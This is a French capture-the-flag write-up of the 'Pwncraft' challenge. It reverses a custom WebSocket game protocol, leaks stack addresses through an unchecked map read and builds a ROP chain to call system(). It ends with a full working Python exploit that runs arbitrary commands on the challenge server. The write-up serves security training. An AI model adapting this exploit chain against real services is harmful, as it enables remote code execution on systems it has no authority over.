Challenge Pwncraft de Jeanne d’Hack CTF 2026
Archive : pwncraft
Un nouveau jeu sandbox en 2D où vous pouvez miner, fabriquer et survivre - si le jeu ne plante pas avant. Créez des outils, récoltez des ressources et forgez votre chemin vers la grandeur !
Mais avancez prudemment, aventurier. Le monde est imprévisible : un mauvais bloc, et vous pourriez bien tomber hors de la réalité elle-même.
Pour vous connecter au service distant : http://pwn.jeanne-hack-ctf.org:80/
En inspectant les requêtes du navigateur, on remarque que celui-ci effectue une connection WebSocket sur le port 8080:
GET / HTTP/1.1
Host: pwn.jeanne-hack-ctf.org:8080
Origin: http://pwn.jeanne-hack-ctf.org
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: lbcGIl/yKRNFWIGzoASW/g==
Upgrade: websocket
...
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: n7MALJ5nNBBu5ErH1TdQLxJZlQ8=
Le challenge fournit également le binaire du serveur WebSocket.
Etape 1 : approche et fuite
On commence par regarder les interactions navigateur-application. Dans le panel developpeur, on peut voir ce que l’on envoie et qu’on recoit :
> 10 02 00 03 05 06 00
< 11 10 00 00
> etc
Il s’agit d’un protocole propriétaire au jeux. Il est possible de décoder ce protocole interne en désassemblant le binaire avec Binary Ninja. En cherchant autour de l’adresse suivante base+0x19c3, on obtient le pseudo-code suivant :
+0x19c3 while (true)
+0x19cb char var_10a9
+0x19cb
+0x19cb if (sub_402130(arg1, &var_10a9, &var_10a0, &var_10a8) != 1)
+0x1b00 sub_402f40(&var_1088, "Invalid WebSocket frame received\n", 0)
+0x1b05 rsi_4 = "Client disconnected\n"
+0x1b05 break
+0x1b05
+0x19d1 uint64_t rsi_2 = var_10a8
+0x19d1
+0x19d9 if (rsi_2 == 0)
+0x1ac8 sub_402f40(&var_1088, "Client sent disconnection request\n", 0)
La structure de base est la suivante : ‘\x10’ + un octet de commande + deux octets de taille de données + x octets de données. Les commandes disponibles sont : 1 pour obtenir la carte, 2 pour écrire un bloc, etc.
Nous commençons par chercher un wrapper pour lire et écrire sur le WebSocket. Ma version de la bibliothèque Python pwntools ne le permettait pas, alors j’ai utilisé la bibliothèque websocket.
Après quelques tests de fuzzing, il s’est avéré qu’il était possible d’obtenir plus que la carte, car les limites ne sont pas contrôlées.
Etape 2: analyse et stackploitation
Dans la pile on trouve des adresses de retour dans libc, des offsets vers le linker, et des pointeurs dans le binaire pwncraft. D’ailleurs, de nombreuses protections sont mise en place dans le binaire:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
Le protocole du jeu permet d’écrire à des coordonnées choisies après la carte, directement dans la pile. Cependant, il est impossible d’y écrire notre code et de remplacer une adresse de retour, car le flag NX (non exécutable) l’interdit.
Pour contourner ce problème, nous utilisons le ROP (Return Oriented Programming) : nous plaçons des adresses de retour vers du code existant qui nous intéresse, tout en intercalant des valeurs utiles. Par exemple, pour définir le registre rax, nous sautons vers un gadget tel que pop rax; ret, en écrivant dans la pile :
[adresse du code pop/ret] <- RSP
[valeur pour rax]
[prochaine adresse code]
Cet exemple est ce qu’on appelle un gadget. En combinant plusieurs gadgets, nous construisons un code fonctionnel.
Limitations
Certaines méthodes utiles ne sont pas possibles ici :
-
ret2csu : Cette technique utilise la fonction
__libc_csu_init, qui permet de définir tous les registres en une seule fois (y comprisrdx). Malheureusement, cette fonction n’est pas présente dans pwncraft, et cette méthode commence à être obsolète. -
SROP (Sign Return Oriented Programming) : Cette méthode utilise des appels aux fonctions du noyau (API plus bas niveau comparé à la LIBC). À partir de ce code, il serait possible de réaliser presque tout. Cependant,
pwncraftne propose pas de syscall/ret, ce qui rend cette option moins accessible. On peut souvent trouver cela dans la bibliothèque ld (loader), mais il faudrait scanner en mémoire depuis son adresse de base pour le découvrir. Ce n’est pas impossible, mais cela demande beaucoup de travail.
Un problème courant est l’absence de gadget pour définir rdx, malgré mes recherches avec ROPgadget, ropper, ropsearch, one_gadget, etc. Or, rdx est nécessaire pour les fonctions qui prennent trois arguments ou plus. Ce registre est indispensable, car il est initialisé à 0 au moment du ROP. En fouillant un peu, on peut se bricoler un gadget depuis le binaire.
objdump -d pwncraft|grep -B 10 ret|grep -A 10 rdx
On obtient l’offset 0x292c avec le code assembleur suivant:
292c: 4c 89 e2 mov %r12,%rdx
292f: e8 8c ea ff ff call 13c0 <memcpy@plt>
2934: 5b pop %rbx
2935: 31 c0 xor %eax,%eax
2937: 5d pop %rbp
2938: 41 5c pop %r12
293a: c3 ret
Il suffit de placer une adresse valide à la fois en lecture et en écriture dans rdi et la même dans rsi pour éviter de corrompre la mémoire pendant l’appel à memcpy. La valeur destinée à rdx doit aller dans r12, pour laquelle il existe au moins un gadget. Il faudra également ajouter trois valeurs factices pour gérer les trois pops.
Cependant, il est important de noter que nous ne pouvons utiliser que les imports de pwncraft. La LIBC n’est pas fournie, ce qui limite notre portée : il n’y a pas de fonctions execve, system, open, et peu de gadgets disponibles.
La méthode de résolution dynamique Ret2dlresolve est intéressante car elle réutilise le système d’importation du binaire après avoir remplacé les noms de fonctions. Toutefois, cela nécessite d’écrire dans la GOT, ce qui est impossible car le binaire est entièrement protégé par “Relocation Read Only”.
Une possibilité est d’utiliser fopen() pour tenter de lire un fichier flag.txt, mais cela requiert une structure FILE* à placer dans les registres, et il y a peu de gadgets pour cela. Ensuite, il faudrait passer le handle à read(), ce qui complique encore la tâche.
Bonnes Nouvelles
Nous pouvons tout de même lire des zones mémoires arbitraires en appelant write. Une option serait de dumper la LIBC et d’explorer ses en-têtes à la recherche de fonctions utiles. Cependant, une méthode plus fiable et simple consiste à obtenir les adresses des fonctions directement.
Après quelques essais, nous avons trouvé les valeurs suivantes :
- 0x7ff4c9d918e0 pour
write(nous conservons …8e0, le reste est aléatoire à cause du PIE) - 0x7ff4c9cfc630 pour
fopen(nous conservons …630)
Nous interrogeons des ressources comme libc.blukat.me (ou libc.rip) pour identifier la version correspondant à ces adresses et la télécharger. Deux candidates très proches se présentent : libc6_2.35-0ubuntu3.11_amd64.so et 3.12.
Spoiler alert : la première a fonctionné.
Nous l’utilisons avec la bibliothèque pwntools pour accéder aux symboles open, system, dup2, read, write, et pour accéder à des gadgets. Nous avons son adresse en mémoire (leak map). L’accès est libre.
Utilisation de System
Pour utiliser system, il faut passer la commande en argument. Nous pourrions l’envoyer à la suite du ROP et déduire son adresse à partir du leak. Une solution plus simple consiste à construire le ROP de la manière suivante :
- Effectuer un
read()au préalable à une adresse connue dans le segment .data du binaire. - Lancer
system()avec la même adresse.
Du côté client, nous provoquons le ROP en envoyant un opcode qui déclenche la fin du jeu (opcode 0). La boucle se termine, et la fonction retourne à la première adresse du ROP, etc. Nous envoyons la commande, qui sera lue par read() puis exécutée par system().
L’envoi des payloads est un peu fastidieux en raison du protocole qui envoie byte par byte. Pendant mes tests, j’ai utilisé un stager pour accepter une seconde chaîne ROP dans .data et transférer le contrôle. Toutefois, pour cette version optimisée, cela n’est pas vraiment nécessaire.
Etape 3: post exploitation
Après quelques tentatives infructueuses pour trouver un flag.txt, je pensais que quelqu’un était passé avant et l’avait effacé. J’ai contacté l’équipe admin qui m’a directement donné la solution ; il faut utiliser le fichier debug_map. On peut l’obtenir avec un simple cat debug_map >&4 2>&1. Reste à le traduire en flag avec ce code :
with open('debug_map', 'rb') as fp:
data = fp.read()
height = 10
width = 64
for y in range(height):
for x in range(width):
if data[2 + y * width + x] != 0xff:
print(' #', end='')
else:
print(" ", end='')
print()
- mandragore / 2026.02.01, relecture fenrisfulsur
Et voici le code complet: (il faut le binaire pwncraft_server et la libc téléchargée depuis https://libc.blukat.me/d/libc6_2.35-0ubuntu3.11_amd64.so)
#!/usr/bin/env python3
"""
usage ./exploit.py 'pwd;id;ls -al'
"""
from elftools.construct.lib import hexdump
from websocket import create_connection # python3-websocket
from pwn import *
import argparse
context.arch = 'amd64'
context.log_level = 'debug'
class WSClient:
def __init__(self, url):
self.ws = create_connection(url)
def send(self, data):
self.ws.send_binary(data)
def recv(self, timeout=2):
return self.ws.recv()
def close(self):
self.ws.close()
# interface du protocole du jeu
def solve(opcode,version=1,control=0,payload=b'',recv=True):
payload=p8((version<<4)+control)+p8(opcode)+p16(len(payload),endian='big')+payload
io.send(payload)
if recv:
return io.recv()
else:
return None
def readany(offset,size=32):
rop=ROP(elf)
# rop.rdx custom gadget
rop.rsi=datarw+0x100 # random but valid
rop.rdi=datarw+0x100 # random but valid
rop.r12=size
rop.raw(elf.address+0x292c) # gadget
rop.raw(0)
rop.raw(0)
rop.raw(0)
# end of rop.rdx
rop.rdi=socket_fd
rop.rsi=offset
rop.write()
upload(rop.chain())
solve(opcode=0,recv=False) # exit loop, trigger ROP
return os.read(io.ws.fileno(), size)
def upload(payload):
start_offset = 0x108e - 6 # emplacement d'une valeur de retour dans la pile pour un ret
for i in range(len(payload)):
current_pos = start_offset + i
row = current_pos // 40
col = current_pos % 40
solve(opcode=2, payload=p8(col) + p8(row) + payload[i:i+1])
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("command", nargs="?", default="id", help="Command to execute on the target")
args = parser.parse_args()
cmd = args.command
url = "ws://pwn.jeanne-hack-ctf.org:8080"
elf=ELF("pwncraft_server",checksec=False)
libc=ELF("libc6_2.35-0ubuntu3.11_amd64.so",checksec=False)
io = WSClient(url)
info(f"Connecté au serveur sur {url}")
leak=solve(opcode=1,payload=b'\x00\x00\x50\x50') # read map and more
# log.info(f'leak: {hexdump(leak)}')
baseaddr=leak[0x107e:0x1086]
baseaddr=int.from_bytes(baseaddr,'little')
baseaddr-=0x40c4 # adresse de 'fork' dans le binaire
elf.address=baseaddr
log.info(f'base addr: {hex(baseaddr)}')
__libc_start_main=leak[0x111e:0x1126]
__libc_start_main=int.from_bytes(__libc_start_main,'little') +122 # exact enough
libc_address=(__libc_start_main - libc.symbols['__libc_start_main']) & 0xfffffffffff00
libc.address=libc_address
log.info(f'libc base: {hex(libc_address)}')
socket_fd = 4 # filehandler probable pour websocket
datarw = elf.address + elf.get_section_by_name('.data').header.sh_addr + 0x0800 # leave some room for the rop futur stack
log.info(f'datarw: {hex(datarw)}')
# dump libc functions addresses
# log.info('dumping libc function address, please wait..')
# print(hex(u64(readany(elf.got.write,8)))) ; exit()
# system()
log.info('sending payload, please wait..')
rop=ROP([elf,libc])
rop.rsi=datarw+0x100 # random but valid
rop.rdi=datarw+0x100 # random but valid
rop.r12=0x200
rop.raw(elf.address+0x292c) # mov rdx, r12.... pop*3 ret
rop.raw(0)
rop.raw(0)
rop.raw(0)
# end of rop.rdx
rop.read(socket_fd,datarw) # rdi=socket_fd, rsi=datarw, rdx=0x200
rop.system(datarw)
upload(rop.chain())
log.info("jumping to ROP")
solve(opcode=0,recv=False) # exit loop, trigger ROP
os.write(io.ws.fileno(), f"{cmd} >&4 2>&1\x00".encode())
print(os.read(io.ws.fileno(), 0x1500).decode('latin1'))